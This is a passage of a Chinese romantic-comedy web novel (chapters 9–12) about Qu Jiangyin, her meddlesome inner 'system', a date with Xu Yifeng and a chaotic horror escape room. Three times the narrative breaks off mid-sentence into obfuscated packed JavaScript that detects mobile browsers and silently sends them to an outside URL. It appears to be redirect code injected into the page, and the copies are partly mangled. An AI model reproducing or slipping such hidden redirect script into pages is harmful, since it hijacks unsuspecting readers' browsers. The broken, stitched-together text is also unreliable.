就在此时,系统忽然激动地嚷嚷道:“不够不够,快去买条狗链给他拴上,这样才够味儿!” 曲江吟面色微变,立刻在脑海里吼了一句:“闭嘴!这又不是宠物用品店,哪来的狗链?” “嗐,多大点儿事儿呀,这不还有我吗?说吧,你喜欢哪种材质和款式,我帮你变一条出来。” 面对想起一出是一出的系统,曲江吟既气恼又无奈:“你少说两句吧,这是公众场合,我可不想被当成变态!” “你可以去买个面具戴着啊,这样就不用担心别人会认出你了。”系统的话说好听点儿叫天真,说难听点儿就是异想天开不切实际。 “绝了,我怎么会摊上你这么个傻缺系统?”曲江吟的表情管理快要失控了,她强行压下心中的怒火,用近乎哀求的语调补充道:“你别说话了行不?我的好心情都要被你磨没了。” 被沮丧淹没的系统,老老实实闭了嘴。 两人走出商店,来到一个没什么人的角落。 曲江吟十分自然地牵起徐逸风的手,一本正经地端起摄影师的架子,指导他摆pose。 感受到掌间传来的温暖,徐逸风眼波潋滟,眉梢眼角俱是笑意,比起动不动就犯轴的柴犬,更像微笑天使萨摩耶,看得曲江吟都想抱着他的脑袋挼来挼去了。 他尽力按照曲江吟的指示去做了,却始终模仿不出柴犬犯轴的精髓。 曲江吟笑着打趣道:“你是不是没见过犟种柴犬啊?” 徐逸风觉得自己耽误了她的时间,心里有些过意不去,垂眸避开她的视线,低声说:“现实中没见过,网上的视频倒是看过不少。” “你应该见过撒泼打滚的小孩吧?试着回想一下他们的神态,你就知道犟该怎么表现了。” 徐逸风思索了一会儿,突然紧紧拽住她的手,皱起眉头,嘟起嘴巴,耷拉着嘴角,气鼓鼓地瞪着她。 “没错!就是这个样子!”曲江吟果断举起手机,将这一幕拍下来。 要不是为了哄她开心,徐逸风才不愿意露出如此幼稚的表情。 既然已经满足了她的愿望,顺势提出自己的愿望应该不算冒昧吧? 9. 009 想到这里,他眼巴巴地看向曲江吟,鼓足勇气说道:“那个……我觉得猫耳发箍特别适合你,你能不能……” 话刚说到一半,聚起来难、散起来易的勇气便泄得一干二净,他顿时卡壳,脸色也跟天气预报似的,微红转浅红。 曲江吟双眼微眯,有心逗一逗他,便倾身向前,仰起脖子,盯着他的眼睛,故作好奇地问道:“能不能什么?” “模仿……”刚吐露出两个字,他再次卡住,脸色浅红转深红。 “模仿什么?”曲江吟的声音非常温柔,仿佛一把无形的梳子,正不停地给他顺毛。 “模仿……模仿……模仿小猫撒娇。”他终于磕磕巴巴说完,脸色深红转通红。 “好啊!”曲江吟眉开眼笑地答应下来,随后直起身子,挑了挑眉,抬起下巴,刻意装出一副自吹自擂的模样,“我不光会模仿小猫撒娇,还会模仿小猫打呼噜呢!” 说罢,她当即闭上嘴巴,喉间发出一段惟妙惟肖的呼噜声。 声音不大,却犹如一阵沁人心脾的清风,将徐逸风心底的羞窘吹得烟消云散。 一听到这个声音,他就隐隐感受到了一股难以言喻的舒爽,说不清是麻还是痒的感觉,从尾椎一路蔓延至天灵盖,仿佛他才是那只被顺毛撸的猫咪。 真猫发出的呼噜声,他也听过,却从未有过如此奇妙的反应。 难道这就是网上说的生理性喜欢? 他想不明白曲江吟是用什么样的发声方法发出这种声音的,只能感慨一句:“简直一模一样!你真厉害,连这都会!” “这是我的独门绝招,一般人可没机会见识。”曲江吟脸上的得瑟让她整个人看起来更灵动了。 “幸好我从小到大都不是一班的。”徐逸风难得幽默了一回。 曲江吟会心一笑,揶揄道:“你这个梗的辈分比我奶奶都高,上次听到这么老的梗还是在上次。” “我以后会多学些新梗的。”说话的时候,徐逸风板正得像个跟老师保证要好好背单词的学生。 “没那个必要,双口相声不需要两个逗哏,我一看就是当逗哏的料,你愿意当我的捧哏吗?”说最后一句话时,她定定地看着徐逸风,那双深潭般的眼眸似乎藏着什么,让人忍不住去探究。 “愿意。”说完,徐逸风总感觉哪里不对劲,她的神情貌似有点儿郑重过头了,眼神也格外温柔,她该不会……话里有话吧? 他有意开口问个清楚,又怕自己会错了意,万一是说者无心,听者有意的情况呢。 注视着心乱如麻的徐逸风,曲江吟选择揣着明白装糊涂。 “走,买猫耳发箍去。”说着,她挽住徐逸风的胳膊,转身朝那间纪念品商店走去。 徐逸风只好暂且把纷乱的情绪深埋心底。 见状,恨铁不成钢的系统又开始发表它的“高见”了:“宿主,要是你给他表演一段小猫踩奶,他估计会乐得找不着北!” “又来了,不说话能憋死你吗?” “不能啊,你为啥这么问?不过这并不重要,重要的是,他那壮硕的胸肌分明就是专门为了让你表演小猫踩奶而生的,你再考虑考虑嘛。” “住口!比起给他表演小猫踩奶,我更想用喵喵拳捶死你!” “不要啊!我这么尽职尽责,你怎么忍心捶死我呢?” 曲江吟没再搭理抽风的系统,陪徐逸风返回商店,买了猫耳发箍。 等徐逸风把发箍给她戴上之后,她毫不扭捏地模仿了小猫撒娇,还跟他合了影。 之后,两人又打算去玩密室逃脱。 得知徐逸风从来没玩过密室逃脱后,曲江吟简单解释了几句:“这里的密室逃脱,说白了就是加了些解谜元素的鬼屋,里面的NPC非常敬业,会一直追着你跑,所以玩之前必须签署一份禁止殴打NPC的协议。” “你之前来过?”因为密室逃脱不曾出现在她的朋友圈里,徐逸风便先入为主地认为她也没玩过。 “来过一次,不过听说这里后来又升级了,所以里面到底是啥情况,我也不太了解。” 话音刚落,她的脑海里陡然响起一阵阴恻恻的笑声。 “哼哼呵呵哈哈哈……宿主,你就瞧好吧,待会儿我保准把他吓得吱哇乱叫,一个劲儿地往你怀里扑!” 曲江吟一边在脑内用冷厉的语气警告系统“不许乱来”,一边停下脚步,侧过身子,仰头凝望着徐逸风的眼睛,噙着蔫儿坏的笑容问道:“你怕不怕鬼?” 在系统的磨砺下,不知不觉间,她已经可以做到一心二用了。 徐逸风信心满满地说:“不怕,说实话我还挺喜欢看恐怖片的。” “哦?”曲江吟饶有兴味地打量着他,似乎想从他那张波澜不惊的脸上找出伪装的痕迹,“我倒要看看你遇到跳脸杀的时候会不会失声尖叫。” 她刚说完,包里的手机就响了。她掏出手机瞄了一眼来电显示,是个陌生号码,号码归属地显示的是国名,没有精确到省和市。 诈骗电话? 她犹豫了几秒,偏头对徐逸风说了一句“不好意思,我接个电话”,走到路边,踩着马路牙子,按下接听键。 “曲盈盈你太过分了!你明知道妈身体不好,还非要气她,现在她饭也吃不香,觉也睡不好,精神头一天不如一天,都是你害的!你赶紧把她的手机号码从黑名单里头放出来,再给她打个电话认错道歉!” 啧!还不如诈骗电话呢! 这声音一听就是她那个干啥啥不行、甩锅第一名的“好大哥”曲折桂。她暗骂一声晦气,心里的记仇本又多出几行记录。 看来她这个不管什么号码先接起来再说的习惯得改一改了。 “我不叫曲盈盈,你打错了。” “你还有脸说?除了你这个离经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322427|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叛道的混账东西,谁会无缘无故把父母取的名字改掉?” “一对不爱我的夫妇取的名字,我凭啥非得接受?站着说话不腰疼,要是他们给你起的名字是曲折寿,你不得当场和他们断绝关系啊!” “你有种连姓改了啊!” “虽然爸的人品不咋地,但他的姓很好听。再说,我是跟姥姥姓,又不是跟他姓,曲这个姓一点儿错也没有,错的是顶着这个姓趴在家人身上吸血的垃圾!他们两口子愿意被你敲骨吸髓,那是他们的事,我管不着,也不想管,我可不想当个扶哥魔!别以为我不知道你是怎么想的,你不就是想借着他们的名义,用孝道来压我,迫使我给你当血包吗?呵呵!你还是洗洗睡吧,梦里啥都有!” “你放屁!!!” 曲江吟太了解他了,在他满嘴喷粪之前,迅速挂断电话,再把他的号码拉黑。 “系统,刚才你开了防偷听模式没?” 系统得意洋洋地说:“开了开了,不管是徐逸风,还是来来往往的游客,谁都别想听清你说的话!怎么样?我这个贴心小棉袄当的还不赖吧?” 曲江吟敷衍了一句:“凑合。” 系统以为她还在担心她哥的事儿,连忙安慰道:“Don''tworry,宿主,要是你那个耀祖哥敢跑来骚扰你,我就把他变成零!” “千万别!他那种渣滓,即使性取向变了,也会继续祸害女人的,还不如直接让他孤独终老呢,省得耽误别人一辈子。” 系统的自信瞬间土崩瓦解,声音也蔫儿巴了:“这……有点难搞噢,改变命运比改变性取向难得不是一星半点,以我目前的等级,我只想说——臣妾做不到啊!” “做不到就别BB了。” …… 来到占地面积颇大的“逃离疯人院”,前台工作人员果然让曲江吟和徐逸风签署了禁止殴打NPC的协议。 她俩来的不算早,前面已经有四个人等着了。 矮胖男看向工作人员,笑嘻嘻地说:“凑够六个人了,这下可以开团了吧?” “可以,不过里面不允许拍摄,所以你们不可以把手机带进去哦,那边有储物柜。”工作人员侧身指了指角落里的柜子,“除了手机,其他贵重物品最好也别带进去,万一不小心摔坏了,本店概不负责哦。” 等大家把随身物品锁进储物柜之后,工作人员才领着她们走进昏暗的过道。 短发妹、眼镜妹和高瘦男是结伴来的,矮胖男虽然是一个人来的,但他是个自来熟,跟谁都能聊上两句。 过道不长,特别空荡,两边的墙壁上画着扭曲变形的涂鸦。越往里走,光线越暗,墙上的涂鸦越多,走到尽头,不止墙面,就连天花板和木门都布满了涂鸦。 在能见度较低的环境中,人们的注意力会更多地集中在视觉上。大伙儿光顾着打量那些诡异的涂鸦了,没能注意到工作人员的动向。 10. 010 趁玩家都在观察涂鸦,工作人员悄悄从兜里掏出一个小巧的手电筒,举到胸前,让手电筒的灯正对下巴,用大拇指轻轻贴住开关按钮,提高音量开口道:“各位……” 众人齐刷刷地循声望去,工作人员迅速按下按钮,冷白的光芒瞬间倾泻而出,在她脸上留下泾渭分明的光与暗,原本再正常不过的笑容,被大片不规则的阴影分割得支离破碎,看上去尤为瘆人! 猝不及防之下,所有玩家都被吓了一跳。 然而,让工作人员失望的是,玩家们只是短暂地惊慌了一下,没人被吓得叫出声来。 矮胖男离工作人员不远,察觉出对方的失望后,他抚着胸口,装作受惊的样子,用半开玩笑半自嘲的语气说:“这就开始了?大妹子你也太敬业了吧,吓得我一激灵,好悬没尿到裤兜子里。” 工作人员被他做作的演技逗乐了,放下手电筒,用另一只手握住门把手,缓缓推开房门。 手电筒的光随着她的动作摇来晃去,窄窄的光束刺破门后的黑暗,好巧不巧落在一只血淋淋的断臂上。 突然,那只断臂像是被光刺激到了一样,手指微微颤动,在玩家们骇然的目光中,嗖的一下缩回黑漆漆的角落。 工作人员将玩家们惊恐的反应尽收眼底,心满意足地关掉手电筒,躬身做了一个请的动作,示意她们进去。 惊吓和惊艳,一字之差,两种截然不同的感受,此刻却同时出现在曲江吟心里。 资深密室逃脱玩家矮胖男也被惊艳到了,大呼:“卧槽!这道具谁做的?牛逼啊!我上次来还没有呢,是新买的吗?” 短发妹也附和道:“上个月我刚来过,那时候可没有这玩意儿。” 工作人员点了点头,面有得色地说:“我们这一行,必须时常推陈出新,才能吸引回头客呀。” 曲江吟轻轻拽了一下徐逸风的衣袖,对方登时心领神会,上半身微微倾斜,将脑袋歪向她。 她仰起脖子凑到徐逸风耳边,小声说:“要继续吗?现在敲退堂鼓还来得及。” 微弱的气流拂过他的耳廓,暧昧犹如窖藏多年的美酒,带着令人迷醉的醇香,闻一口心旌摇曳,尝一口目眩神迷,他那颗微醺的大脑混淆了气流与电流,触电般的感觉霎那间传遍全身。 反正周遭很暗,哪怕他的嘴角咧到耳朵根也没人能看到,他便任由笑意在他脸上放飞自我。 “来都来了,不完完整整体验一遍岂不白来了?不过是些道具罢了,没什么好怕的。” “Flag立得飞起,待会儿被吓得哭爹喊娘可没有后悔药给你吃。”曲江吟嘴上说着劝退的话,心里却盼着他早点儿被吓到,要是能被吓哭就更棒了,因为她有个小众的癖好,看到帅哥落泪,不会心碎,只会陶醉。 “不会的,我就算被吓到也不会发出声音,只会头脑发懵不知所措。” “一吓就懵?世另我啊!一想到咱俩一起被吓懵的画面,我就想笑。” 与此同时,高瘦男小声嘀咕道:“哪有上来就放大招的?真是不讲武德!手指头动起来那一刻,我人都麻了。” “我看你不是麻了,是怕了,”眼镜妹竖起食指,推了推鼻梁上的眼镜,笑眯眯地调侃道:“现在就退缩相当于刚打开游戏,只看了一眼游戏界面,连开始游戏都没点就不玩了。” “是啊,”短发妹应和了一声,侧过身子,伸手拍了一把高瘦男的肩膀,提醒道:“更何况游戏买了没玩儿还可以全额退款,这里的门票钱可不会全额退给你。” 高瘦男有些不服气,嘴硬道:“谁退缩了?我只是觉得那么精良的道具用在这里有点浪费。” 工作人员用拳头挡住嘴巴,清了清嗓子,故意模仿专业主持人的播音腔说道:“各位,环环相扣的谜题、出人意料的机关、惊险刺激的追逐正等着你们呢,请进!” “好!我玩儿的就是刺激!”说完,矮胖男率先踏入门内。 曲江吟和徐逸风紧随其后,眼镜妹和短发妹手拉着手一起走了进去,高瘦男生怕被她俩撇下,也急忙跟了上去。 等玩家全部进去之后,工作人员只留下一句“祝你们玩得愉快”,便干脆利落地关门上锁,将她们彻底关入密室。 进入“疯人院”没多久,他们在走廊拐角处发现一个轮椅,上面有团模模糊糊的黑影,从轮廓来看,似乎是个垂着脑袋的人。 来过不下五次的短发妹,压低声音说:“轮椅上面坐的可能是NPC,也可能是假人模型,NPC会推着轮椅追赶玩家,假人模型倒是不会动,但它附近必然藏着一个负责搞跳脸杀的NPC。” 高瘦男当即反驳道:“谁说模型不会动的?刚才那只假肢不就动得挺溜吗?没准儿这里的道具全都升级成会动的了。” 矮胖男摇了摇头:“那得花多少钱呀,我觉得老板未必舍得。” 外表柔弱的眼镜妹,性子却十分果敢,她抛下一句“管它会不会动呢,来这儿不就是为了找刺激吗?我倒要看看它会怎么吓唬我”,便蹑手蹑脚地走向轮椅。 “等会儿,我也要去。”短发妹立即跟了上去。 “我去!这么猛的吗?”矮胖男瞪大了眼睛,不过他并没有过去一探究竟的念头。 高瘦男双手抱臂立在原地,小声咕哝了一句:“鲁莽。” 曲江吟在心里默默为两位女生的勇气点赞,她可没那个胆子去探查明显藏着猫腻的地方。 她不动,徐逸风这个恨不得时时刻刻粘在她身边的小跟班儿自然也不会动。 两人很快便来到轮椅前面,她们没有贸然靠近,而是躬着身体,眯起眼睛将轮椅上的人从上到下仔细扫视了一遍。 眼睛妹嘀咕道:“应该是个假人。” 短发妹的心非但没有放松下来,反而悬得更高了,她正准备观察一下四周有没有能藏人的地方,假人胸口的病号服骤然炸开,一只青灰色的大手猛地伸了出来! “妈呀!” “卧槽!” 两人拔腿就跑,差点儿撞到墙壁。 躲在轮椅后面的NPC喉咙里挤出阴森刺耳的怪笑,拔出插在假人胸口的手,火速站起来握住轮椅后面的扶手,推动轮椅,被发详狂地朝她们追去。 另外四个人见状,瞬间脚底抹油溜得飞快。 每个人都恨不得多长一双腿。她们穿过走廊,涌入大厅,绕过乱七八糟的杂物,最终躲进一间病房才摆脱了紧追不舍的NPC。 恐怖的笑声逐渐远去,所有人都松了一口气。 病房里面非常暗,每个人眼前仿佛都被蒙上了数十层黑纱,看啥都影影绰绰的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322428|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >从病床的数量来看,这是一个三人间。床帘将三张病床分隔开来,这些床帘没有完全拉上,都是半遮半掩的状态。 曲江吟和徐逸风一口气跑到最里面那张病床的床尾才停了下来。 她刚把气喘匀,就听见系统激动的声音了:“宿主,有个帅哥在病床底下趴着呢,虽然他戴了一副丑陋的面具企图遮掩自己漂亮的脸蛋儿,但这种小把戏岂能瞒过我的火眼金睛?” 她瞅了瞅病床下面,黑黢黢的,啥也看不清。 “听你的描述,那人八成是NPC,戴面具应该是为了吓唬我们。” 徐逸风一开始离病床很近,发现被子下面似乎盖着个人时,他下意识屏住了呼吸。为了不惊动对方,他默不作声地牵住曲江吟的手腕,缓缓后退至墙边。 系统十分惊讶:“我刚告诉你床底下藏着个帅哥,徐逸风就拉着你鸟悄地远离病床,这就是男人的第六感吗?” “你瞎说啥呢,床下边儿黑成那样,他又不是你,怎么可能发现那里有人?我刚才看到被子似乎鼓鼓囊囊的,他可能是担心被子里面埋伏着NPC才这么做的。” 徐逸风走到墙边才开口解释道:“被子是鼓的,我担心里边藏着守株待兔的NPC,没敢声张就擅自行动了,你不介意吧?” 他的手刚松开曲江吟的手腕,就被她反手擒住。 她攥着他的手摇了两下,故作深沉地说道:“明智的选择。” 徐逸风欣然一笑,转动手腕,回握住她的手,一本正经地说:“感谢你的信任。” 另外四个人聚集在离房门不远的地方。 高瘦男忍不住抱怨道:“明知道有诈,还非要作死,这哪是找刺激?分明是上赶着给NPC当乐子!” 他的话犹如一盆凉水,将短发妹因肾上腺素飙升而高涨的兴致浇灭大半。 一想到这个扫兴的家伙是她自己带过来的,她就悔不当初。 可惜现在后悔也没用了。 “来之前我就说过,这里的特色是神出鬼没、紧追不放的NPC,既然你觉得被NPC追赶相当于给对方当乐子,干嘛不早说?” 高瘦男立马辩驳道:“你不要曲解我的意思,我只是认为主动凑上去让NPC戏耍的行为不太明智。” 此言一出,本打算无视他的眼镜妹也恼了,白了他一眼,没好气地说:“和我这种不明智的人一起出来玩真是难为你了!” 见她生气了,高瘦男连忙找补道:“我不是在怪你,你别多想。” 可埋怨的话已经说出口,现在又让人别多想,这不是把人当傻子吗? 虽然矮胖男没戴眼镜,但高瘦男的言行还是令他大跌眼镜。 他上前拍了拍高瘦男的胳膊,苦口婆心地劝道:“行了行了,你少说两句吧,越描越黑。” 不料高瘦男竟满脸讶异,用食指指着自己,大声反问道:“我越描越黑?你说清楚,我怎么就越描越黑了?” 此前矮胖男一直觉得自己很擅长当和事佬,如今却被高瘦男上了一课——人精遇杠精,有理说不清。 “哎!你说你……哎!我真是服了,跟你说话咋这么费劲儿呢?” 话音刚落,一道陌生的、明显不属于六名玩家的声音突兀地响起:“见过情商低的,没见过低成你这样儿的!” 11. 011 高瘦男悚然一惊,眼睛瞪得溜圆,仿佛下一秒就要脱眶而出似的,他不由得咽了下口水,滚动的喉结推挤着声带,变了调的声音就这么溢了出来:“谁在说话?” 短发妹和眼镜妹也僵在了原地,任由寒意在体内游走。 “卧槽!哪儿冒出来的声儿啊?吓死个人!”矮胖男连连后退,最后干脆躲到离房门最近的床帘后边了。 系统这个小喇叭第一时间把自己的发现告诉了曲江吟。 “OhmyGod!那个矮个儿男居然是个女装大佬!真是人不可貌相啊!” “女装大佬?”曲江吟满脑袋问号。 “会伪音,戴假发,这不妥妥的女装大佬嘛!” 曲江吟顿时明白刚才那道声音是怎么回事了,不过她不理解的是,那家伙哪来的假发? “假发?他从哪儿搞来的?” “他藏进夹克衫了,我亲眼看到他拉开拉链,揪出一顶毛毛糙糙的假发,欻欻两下戴在头上。你说他是不是为了快速把假发戴好才留着寸头啊?” 她看不清那边的情况,正要追问矮胖男的动向,却被徐逸风刻意压低的声音打断了。 “刚才是NPC在说话吧?听声音似乎在门口那边。” 曲江吟心里想着“不是,NPC在床底下趴着呢”,嘴上却说着:“好像是,咱俩往里边儿挪挪吧。” 她俩还没开始行动呢,门口那边就炸开了锅。 “变装”完毕的矮胖男悄悄从床帘后面钻出来,一边用伪音发出令人毛骨悚然的笑声,一边坐到地上,用双手支起上半身,以背朝下肚子朝上的怪异姿势,倒着爬向高瘦男。 “草!!!什么玩意儿?”高瘦男浑身的汗毛都竖了起来。 他想都不想就往短发妹和眼镜妹身后躲,不料她们的动作更快,毫不犹豫地甩开他,尖叫着跑了。 然而彻底慌了神的两人,压根儿没想起旁边的房门,直接冲进病房里面了。 高瘦男来不及多想,急忙追了过去。 矮胖男穷追不舍,还时不时用幽怨的语气吓唬她们:“我好无聊啊,下来陪我吧。” 忽然闹出这么大的动静,不用想,肯定是矮胖男开始搞事了。 曲江吟知情,徐逸风又不知情,他还以为是NPC在捣鬼呢,立刻抓住曲江吟的手腕,朝里面那扇门跑去。 然而,真正的NPC从床底爬了出来。 徐逸风立马驻足,惊疑不定地看着前面的黑影,曲江吟也停了下来,可短发妹、眼镜妹和高瘦男已经冲过来了,狭窄的过道瞬间变得拥挤不堪,你扒拉我,我推搡你,尖叫声此起彼伏,简直乱成了一锅粥! 混乱之中,曲江吟抓到一只温暖的大手。 骨节分明,手指纤长,没错,是徐逸风的手! 她紧紧拽住这只手,贴着墙冲出混乱中心,跑到房门跟前,快速摸索到门把手,用力一拧,却拧不动。 表现欲爆棚的系统大喝一声:“放着我来!” 门应声而开,曲江吟火急火燎地冲了出去。 直到听不到尖叫声,她才停下脚步,长长地舒了一口气。 “真是太感谢你了,要不是你拉了我一把,我差点儿被人推倒。” 清澈透亮少年感满满的嗓音明显不属于徐逸风。 曲江吟:??? 她回头一看,却被狰狞可怖的面具吓得浑身一颤,像丢烫手山芋似的,火速甩开对方的手,往后退了几步。 “抱歉抱歉,我忘记摘了。”他摘掉面具,昏暗的光线打在他脸上,反而为这张处处契合黄金分割比例的脸增添了几分朦胧美。 曲江吟正忙着在脑海里质问系统呢,没空应付他,正好他也被接二连三的变故搞得惊惧不安精神恍惚,反应比平常迟钝了许多,没能察觉到她的异样。 “我不信你没发现我拉错了人,你怎么不提醒一下我呢?” 系统委屈巴巴地说:“当时乱成那样,我只顾着保护你了,管不了别的。” “谢谢,不过一码归一码,我拉着他去开门的时候,你分明有机会提醒我啊,为啥不说呢?” “我以为你看上他了嘛。”系统总是用最无辜的语气说着最出人意料的话。 “当时我都看不见他,怎么可能看上他?”曲江吟忍不住揉了揉额角。 “我不是告诉过你,他很帅吗?” 曲江吟抚着胸口,做了几个深呼吸,好不容易才把抓狂的情绪按下去。 “别说这个了,徐逸风呢?他没事儿吧?” “他好得很,不仅翻过病床远离了乱局,还掀开被子,搬起假人模型,扔到女装大佬身旁,把他吓了个半死。” 说到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322429|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一半,它顿了一下,换了副戏谑的口吻继续说道:“不过,那个愣头青缠上他了。女装大佬一直追着愣头青跑,愣头青又一直跟在他屁股后边,所以他们三个正满场乱窜呢。” 系统对徐逸风的佩服是真的,把他的遭遇当乐子看也是真的。 这时,曲江吟蓦地想到一个问题。 “门不是开了吗?他们怎么还没过来?” 系统解释道:“你俩出来之后,我又把门锁上了,所以他们是过不来的,只能在前场打转。” 曲江吟彻底绷不住了,不由得露出了“地铁老人看手机”的同款表情。 “你为啥要锁门?” “我从网上学的,据说在鬼屋随手锁门是个好习惯。”系统的语气无比天真,它真以为自己做了件好事。 “好个锤子!” 她转身就要往回走。 系统和NPC异口同声地说:“你要去哪儿?” 曲江吟头也不回地说了一句“去找人”,继续大步向前走,却被NPC死死拽住手腕。 “别去!那边闹鬼!” 曲江吟:??? 她瞅了瞅对方身上的血衣,又瞧了瞧对方手里的面具。 “大兄弟,你不是NPC吗?这里不是你的场子吗?你居然信这个?” NPC的手攥得更紧了,他胆战心惊地说:“对呀,我才是NPC,而且刚才那间病房只有我一个NPC,可我还没出场呢,玩家已经被吓得哇哇大叫、满屋乱窜了,这不是闹鬼是什么?” “呃……”曲江吟仔细想了一下,从他的视角来看,病房发生的事确实像极了灵异事件。 “虽然没看清女鬼长什么样子,但我听见她的声音了,感觉怨气不是一般的重呢,你应该也听到了吧?”NPC的声音在颤抖,他的手也在颤抖,而且他的手越攥越紧,仿佛一把钳子,牢牢钳住他唯一的温暖。 “嘶!”曲江吟吃痛,试图用另一只手掰开他的手,“疼!放手!” NPC如梦初醒,赶紧松手,手足无措地道着歉:“对不起,对不起,我不是故意的。” 曲江吟知道他是因为害怕才这样的,便没跟他计较。 系统却气得不行,当即决定要好好惩罚一下这个不知轻重的家伙。 于是NPC膝盖一软,跪倒在曲江吟面前。 12. 012 曲江吟惊呆了,愣了一会儿才说着“不必行此大礼,快快请起”,弯腰将他扶起来。 NPC不仅脸变得通红,就连脖子都红了,他终于理解尴尬得无地自容是什么感受了。不过强烈的尴尬也冲淡了他心底的恐惧。 他以为自己是被闹鬼的事吓得腿软才会跪倒在地,对自己竟然怂成这样深感震惊。 辩解意味着主动承认自己是个大怂包,这还不如杀了他呢,因此他一句辩解的话也没说,只是一个劲儿地劝她别回去。 曲江吟思来想去,决定把实情告诉他。 “我觉得玩家假扮NPC搞事的可能性比闹鬼的可能性大,身为正牌NPC,你应该能联系到中控吧?想知道当时究竟发生了什么,问一问中控员不就行了?” NPC低着头,用食指的指背蹭了蹭鼻尖,小声回应道:“我的对讲机……好像落在那间病房了。” 曲江吟还没说话呢,系统先点评上了:“啧!真不靠谱。” “得了吧,论不靠谱,谁比得过你?”曲江吟先在脑内怼了它一句,然后才对NPC说:“要不咱俩一块儿回去吧?不管是找人,还是找对讲机,两个人的效率肯定比一个人高。” NPC一心盼着离开,完全没有回去的念头,至于被他弄丢的对讲机,赔一个不就行了,他才不愿意为了一个破对讲机而大费周章,万一又遇到那个不知是人是鬼的家伙怎么办? 可人家都把话说到这个份儿上了,他实在是想不出拒绝的理由,万般无奈之下,只好硬着头皮答应。 没过多久,两人再次返回病房门口。 看着那扇关得严严实实的门,NPC忽然想到一个问题。 “我记得这扇门的钥匙藏在一个木制的机关盒子里,盒子又藏在中间那张病床的枕头底下,你们进来之后一直在闲聊,并没有四处搜查,按理说不可能得到钥匙啊,你是怎么打开这扇门的?” “当时门没锁啊。”曲江吟心虚地眨了眨眼,同时在脑海里催促系统帮她开门。 系统回复道:“拧一下门把手就行。” 她伸手握住门把手,往下一拧门就开了,“你看,确实没锁。” NPC却摇了摇头,向她解释道:“这扇门的门锁是特制的,从外面开,不需要钥匙,从里面开,必须用钥匙。” 曲江吟一愣,当即质问系统:“你怎么不早说?” “一个破锁而已,有什么好说的。” 她不得不借助低头看锁的动作来掩饰自己一言难尽的表情。 “可能是锁坏了吧。”说完,她不等NPC回复,径直走入屋内。 “等等我。”NPC急忙跟了上去。 病房里面静悄悄的,一个人也没有,曲江吟犹豫了几秒,转身看向NPC,提议道:“我先帮你找对讲机,你再陪我找人,你觉得这样行不?” “没问题。”话说出口,他才意识到不妥,对讲机又不是什么重要的东西,先帮她找人,再带领她们离开这个鬼地方才是正解。 然而曲江吟没有给他改口的机会,追问道:“你有没有手机或者手电筒之类的能照明的东西?” “没有,我们不能带手机进来,老板也没给我们发手电筒。”说着说着,NPC心里逐渐涌出一股怨念。 他来这儿当NPC是为了吓唬别人,结果吓人不成反被吓,早知道内场黑成这样,他就该偷偷带个夜视仪过来。 恐惧源于未知,如果他有夜视仪,哪至于被吓成软脚虾! “行吧,看来咱们只能摸黑找了。”曲江吟只是说说而已,她看不见,系统看得见啊! 果不其然,系统又开始得瑟了:“哼~关键时刻还是得靠我!” “行了行了,我知道你很牛,先告诉我对讲机在哪儿,完了再得瑟也不迟。” “就在旁边那张床下边,离那小子很近,他再往前走一步,挪到床边,蹲下去就能摸着。” 曲江吟指着一旁的病床问道:“之前你是不是一直躲在这张床下?” “是的,我怀疑要么是爬出来的时候掉了,要么是被人挤来挤去的时候掉了,不出意外应该就在附近。” “你搜床底,我搜过道?” “行。” 两人分头搜寻,NPC蹲在床边,不断地在床底摸索,很快就摸到一些软软的东西。 他顿了一下,总感觉这种触感很熟悉,却愣是想不出与之相匹配的东西,于是他又用手指头仔细捻了捻。 柔软、纤细、似乎还挺长,莫非是……头发? 头发??? “啊!!!”他猛地往后一仰,身体瞬间失去平衡,歪倒在地,原本一直拿在手上的面具也被甩了出去,磕到地上发出清脆的响声。 曲江吟心头一凛,忙问道:“怎么了?” 他顾不得疼痛,连忙爬到曲江吟脚边,一把抱住她的小腿,结结巴巴地说:“床……床底下有……有……有头发!” 没想到这位帅哥的胆子居然这么小,系统忍不住吐槽道:“那是假人,八成是被女装大佬踢进去的。他不会忘了他们这儿的假人有头发了吧?难不成这里雇NPC不看胆量,只看脸?” 曲江吟替他辩解了一句:“他又不知道那是假人,会感到害怕也情有可原吧?” 让他一直趴在地上也不是个事儿,曲江吟无奈地摸了摸他的头,像哄小孩一样,柔声安慰道:“冷静一点,我看床似乎被翻得很乱,有没有可能是道具掉下来了。” 听了她的话,NPC才陡然想起被子里面的确藏了个假人。 尴尬如同引燃的鞭/炮,在他的四肢百骸轰然炸/开,他的脸登时被热浪烤红,他的脚趾头再次死死抠住鞋底。 他迅速松手,在曲江吟的搀扶下站了起来。 “不好意思,我又失态了。”脑袋低垂、缩手缩脚的他,像极了因为没写作业而被叫到老师办公室的 